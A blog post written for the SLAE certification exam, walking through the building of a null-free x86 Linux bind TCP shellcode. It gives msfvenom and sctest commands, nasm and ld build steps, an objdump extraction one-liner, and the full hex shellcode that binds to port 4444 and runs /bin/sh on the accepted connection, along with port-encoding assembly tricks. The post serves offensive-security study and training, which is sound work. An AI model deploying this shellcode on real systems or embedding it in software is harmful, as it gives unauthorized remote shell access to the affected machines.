x86 Linux Bind TCP Shellcode
This blog post is a part of SLAE exam series. In this part we will cover assignment #1, Bind TCP Shellcode.
Shellcode features:
- x86 Linux;
- Does not rely on
socketcall
(0x66
) syscall and instead uses direct syscalls such assocket(0x167)
,accept(0x16c)
,bind(0x169)
, etc (compatible with x86 Linux 4.3 and later); - Avoids null bytes for any listening port configuration;
- Source code here.
Bind Shellcode Study
In order to write a bind shellcode, we first need to understand what one should consist of. The easiest way would be to study an existing one.
We begin by running Metasploit’s linux/x86/shell_bind_tcp
shellcode through sctest
shellcode emulator:
msfvenom -p linux/x86/shell_bind_tcp -f raw | ./sctest -vvv -S -s 10000
As can be seen on the screenshot below, sctest
highlighted which syscalls are used by the MSF’s shellcode (reality is a bit more complicated since MSF’s shellcode is actually calling socketcall
(0x66
) and passing a specific function to invoke as one of the socketcall
arguments).
By further studying some of the Linux programming classics, the task at hand becomes pretty clear. Our shellcode needs to do the following:
- Create a new socket with
socket
syscall; - Bind the socket to a specific TCP port with
bind
syscall; - Mark the socket as passive socket (i.e.: the one receiving incoming connections) with
listen
syscall; - Listen and accept an incoming connection with
accept
syscall; - Duplicate
STDIN
,STDOUT
andSTERR
file descriptors in order to redirect all application IO to the socket connected in step 4 withdup2
syscall; - Run
/bin/sh
program within current process space (meaning overwrite current process that hosts our shellcode with Bourne shell program) withexecve
syscall.
Proof of Concept
Before we dive into assembly writing, it may be a good idea to write a quick POC in some higher language to validate the assumptions stated above. C would be an ideal candidate given that most of the Linux OS is written in it and it plays nicely with all the system APIs.
Below is our POC code to spawn a bind shell:
Compile the above code with the following command (works on 20.04 x64 Ubuntu):
gcc -m32 bind_shell.c -o poc
Let’s try run it:
Success! Time to write some .asm
code.
ASM Goodness
Now, let’s translate our C code into a proper x86 assembly. Make sure there are no null bytes (0x00
) and make it short (we are not going to check syscall return values, who has space for that?).
Below you can see annotated shellcode to spawn a bind shell on a TCP port 4444.
Compile and link our shellcode with the following commands (works on x64 Ubuntu 20.04):
# compile
nasm -f elf32 slae-1-bind-shell.nasm -o slae-1-bind-shell.o# link
ld -m elf_i386 slae-1-bind-shell.o -o slae-1-bind-shell
Let’s run it and see what happens:
And it worked! Great success.
Basic Loader Test
It is important to test your shellcode in close-to-real-life settings. At the very least, we can have a loader program that will inject and run our shellcode within itself.
First, let’s extract our shellcode from the binary compiled in the previous step. For this, we will use a well-known bash one-liner:
objdump -d ./slae-1-bind-shell |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
The command above would result in the following output. This is our shellcode compiled in x86 machine language:
"\x29\xc0\x31\xdb\x29\xc9\x31\xd2\x29\xf6\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x52\x52\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x29\xd2\xb2\x10\x66\xb8\x69\x01\xcd\x80\x89\xc1\x66\xb8\x6b\x01\xcd\x80\x66\xb8\x6c\x01\xcd\x80\x89\xc3\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x29\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe1\xb0\x0b\xcd\x80"
Now, we take a basic loader written in C (taken from the SLAE course materials and modified to work with a modern Linux kernel) and insert our shellcode in the code
variable.
Compile the shellcode.c
with the same command we used before:
gcc -m32 shellcode.c -o shellcode
Quick test to ensure it works as expected:
Success once again!
Automate All the Things
The last task is to automate the shellcode generation so that our shellcode can listen on any port we like.
The task sounds pretty straightforward: take a user provided input, convert it to a big-endian format (network byte order) and replace the hardcoded 0x5c11
(which is decimal 4444 converted to big-endian) value in our shellcode with a new port number.
There is one catch though, we wanted to avoid having null-bytes (0x00
) in our shellcode, but some of the port numbers in a 2-byte int (aka short) will definitely end up with a null-byte in them. Some examples of these potential port numbers are 0xFF00
(port number 255) or 0x00FF
(port number 65280). So our automation script needs to be able to handle that.
To account for those 500+ port numbers with null-byte in them, we came up with the following strategy.
Low order byte contains a null-byte
If a low order byte contains a null-byte (e.g.: 0x3400
), we do the following:
- Move a 2-byte int into into the
dx
register (can be any other register), making sure the low order byte is the byte we want to end up in the high order position; - Shift
dx
left by 8 bits. Now we have the low order byte in the high order position and the low order byte being zeroed out; - Push
dx
onto the stack.
This would look as follows in x86 assembly:
mov dx,0x3434
shl dx,0x8
push dx
High order byte contains a null-byte
If a high order byte contains a null-byte (e.g.: 0x00f1
), we follow the same approach but instead of shifting to the left, we shift to the right as can be seen in the example below:
mov dx,0xf1f1
shr dx,0x8
push dx
Final result
Below you can see a simple python script to automate our shellcode generation and account for all the port numbers that may contain a null-byte in them:
Here are a few sample runs of the shellcode generator script. Notice how the shellcode size changes whenever the bind port contains a null-byte in it.
Exam Disclaimer
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: PA-30942